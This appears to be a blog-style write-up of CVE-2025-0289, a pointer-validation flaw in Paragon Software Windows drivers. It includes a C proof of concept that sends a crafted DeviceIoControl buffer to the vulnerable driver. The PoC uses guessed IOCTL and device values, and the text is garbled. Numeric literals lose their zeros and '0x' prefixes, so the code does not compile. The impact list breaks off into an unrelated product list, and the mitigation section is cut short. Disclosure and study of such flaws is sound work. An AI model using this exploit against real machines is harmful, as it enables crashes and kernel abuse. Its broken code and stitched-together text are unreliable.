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Recently, a serious security flaw has been discovered in various Paragon Software products (See: Original NVD Entry – CVE-2025-0289). This vulnerability, dubbed CVE-2025-0289, involves insecure kernel resource access inside Paragon-developed drivers. If you work with Paragon tools, use disk partition management utilities, or deploy third-party disk/file system tools on Windows, this vulnerability needs your urgent attention.

Let’s break down how the bug works, what can go wrong, and demonstrate with code how a local attacker could exploit the flaw.

The Root Cause

At the heart of CVE-2025-0289 is a failure to validate a pointer called MappedSystemVa before using it in a deeply privileged operation.

Specifically, the vulnerable Paragon driver calls

HalReturnToFirmware(MappedSystemVa);

...without checking if MappedSystemVa was supplied by user input or actually points to a safe memory address. When software in kernel mode trusts this pointer and performs a firmware-level operation, any user with local access may trick the driver into executing malicious code or misconfigure the system.

What is HalReturnToFirmware?

HalReturnToFirmware() is a Windows kernel function that is supposed to be called to reset or shut down the system. Bad things can happen if this is called with an untrusted value: either the system can crash, trigger firmware routines, or even execute attacker-supplied code depending on the arguments (and hardware).

Attack Scenario

A regular (non-admin) user can interact with the vulnerable IOCTL interface exposed by the Paragon driver. If the interface allows passing user-controlled pointers, an attacker can carefully craft a pointer for MappedSystemVa within a custom input buffer.

For instance, you could open a handle to the device like this

HANDLE hDevice = CreateFileW(L"\\\\.\\ParagonDevice", GENERIC_READ | GENERIC_WRITE, , NULL, OPEN_EXISTING, , NULL);

Then, using DeviceIoControl, you could send a crafted buffer, tricking the driver into blindly passing your MappedSystemVa pointer to HalReturnToFirmware.

Proof of Concept (PoC)

Disclaimer: This PoC is for educational purposes only! Do not run it on systems you do not own. Running this may crash your system or cause data loss.

#include <Windows.h>
#include <stdio.h>

#define IOCTL_PARAGON_VULN_CODE x222004   // Placeholder IOCTL; replace with actual value if known

typedef struct _VULN_INPUT
{
    ULONG_PTR MappedSystemVa; // Attacker-controlled pointer
    // ...other fields, if required by driver input struct
} VULN_INPUT;

int main()
{
    HANDLE hDevice = CreateFileW(L"\\\\.\\ParagonDevice", GENERIC_READ | GENERIC_WRITE, , NULL, OPEN_EXISTING, , NULL);

    if (hDevice == INVALID_HANDLE_VALUE)
    {
        printf("[-] Failed to open device\n");
        return 1;
    }

    VULN_INPUT input = {  };
    input.MappedSystemVa = (ULONG_PTR)xDEADBEEF;  // Example invalid value

    DWORD bytesReturned;
    BOOL result = DeviceIoControl(
        hDevice,
        IOCTL_PARAGON_VULN_CODE,    // The vulnerable control code
        &input, sizeof(input),
        NULL, ,
        &bytesReturned,
        NULL
    );

    if (!result)
    {
        printf("[-] DeviceIoControl failed: %d\n", GetLastError());
    }
    else
    {
        printf("[+] DeviceIoControl sent\n");
    }

    CloseHandle(hDevice);
    return ;
}

*Note: You would need the actual IOCTL code and structure definition, which may vary between Paragon products.*

If a threat actor can trigger this vulnerability, they may gain the ability to

- Crash/reboot the system (Denial of Service)

Paragon Partition Manager

- File System Link drivers (NTFS/HFS+/APFS)

OEM-partnered file system utilities

Check Paragon security advisories for updates.

References

- CVE-2025-0289 NVD Entry
- Paragon Software Product Page
- Discussion: Unsanitized Pointers in Windows Drivers

How to Protect Yourself

- Update Paragon products immediately: Look for patches or fixed versions as soon as they’re released.

Conclusion

CVE-2025-0289 is an example of how not validating pointers in kernel mode can have disastrous consequences. Always keep your systems updated, and if you work in infosec or system administration, stay alert for vulnerabilities in third-party drivers.

Timeline

Published on: 03/03/2025 17:15:13 UTC
Last modified on: 04/14/2025 21:15:18 UTC